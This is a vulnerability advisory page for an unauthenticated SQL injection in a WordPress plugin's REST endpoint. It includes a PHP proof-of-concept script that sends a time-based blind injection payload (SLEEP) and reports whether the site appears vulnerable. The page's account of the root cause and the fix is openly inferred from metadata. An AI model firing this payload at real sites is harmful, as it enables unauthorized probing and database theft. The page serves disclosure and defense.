Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2495: WPNakama <= 0.6.5 – Unauthenticated SQL Injection via 'order' REST API Parameter (wpnakama)

CVE ID CVE-2026-2495
Plugin wpnakama
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 0.6.5
Patched Version
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2495 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the WPNakama WordPress plugin, affecting versions up to and including 0.6.5. The flaw exists in the ‘order’ parameter of the ‘/wp-json/WPNakama/v1/boards’ REST API endpoint. Attackers can exploit this to execute arbitrary SQL commands on the underlying database. The CVSS score of 7.5 (High) reflects the network-based attack vector, low attack complexity, and high impact on confidentiality.

Atomic Edge research infers the root cause is improper neutralization of user input before its inclusion in an SQL command, consistent with CWE-89. The vulnerability description states insufficient escaping and lack of sufficient query preparation. Without a code diff, it is inferred that the plugin likely passes the unsanitized ‘order’ parameter directly into an SQL query, possibly using the WordPress `$wpdb` class without proper use of `prepare()`. This conclusion is based on the CWE classification and the common pattern of insecure REST endpoint implementation in WordPress plugins.

Exploitation involves sending HTTP GET requests to the publicly accessible REST API endpoint. An attacker crafts malicious SQL payloads within the ‘order’ query parameter. Example payloads include time-based blind SQL injection commands like `(SELECT 1 FROM (SELECT SLEEP(5))a)`. The attack is unauthenticated, requiring no prior session or nonce. The endpoint path is explicitly defined in the CVE description, providing a clear attack vector.

Remediation requires implementing proper input validation and SQL query parameterization. The patched version 0.6.6 likely modified the vulnerable endpoint to sanitize the ‘order’ parameter using `sanitize_sql_orderby()` or similar WordPress helper functions. The secure fix would involve using `$wpdb->prepare()` for any SQL query incorporating user-supplied data, ensuring all variables are properly escaped as placeholders.

Successful exploitation leads to full compromise of database confidentiality. Attackers can extract sensitive information including user credentials, personally identifiable information, and other plugin-specific data. While the CVSS vector indicates no impact on integrity or availability, data exfiltration can facilitate further attacks such as password cracking or session hijacking. The unauthenticated nature significantly increases the risk of widespread exploitation.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2495 - WPNakama <= 0.6.5 - Unauthenticated SQL Injection via 'order' REST API Parameter
<?php

$target_url = 'http://target-site.com'; // CHANGE THIS

// Construct the full endpoint URL based on the CVE description.
$endpoint = '/wp-json/WPNakama/v1/boards';
$full_url = rtrim($target_url, '/') . $endpoint;

// Time-based blind SQL injection payload for the 'order' parameter.
// This payload tests if the parameter is injectable by causing a 5-second delay.
$malicious_order_param = '(SELECT 1 FROM (SELECT SLEEP(5))a)';

// Prepare the request URL with the malicious parameter.
$request_url = $full_url . '?order=' . urlencode($malicious_order_param);

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $request_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect delay.

// Record start time to measure potential delay.
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);

$elapsed = $end_time - $start_time;

// Analyze the result.
echo "Target: " . $request_url . "n";
echo "Request elapsed time: " . round($elapsed, 2) . " secondsn";
if ($elapsed >= 5) {
    echo "[+] The site appears VULNERABLE to time-based SQL injection.n";
} else {
    echo "[-] No significant delay detected. The site may be patched or not vulnerable.n";
}
echo "Response snippet: " . substr($response, 0, 200) . "n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School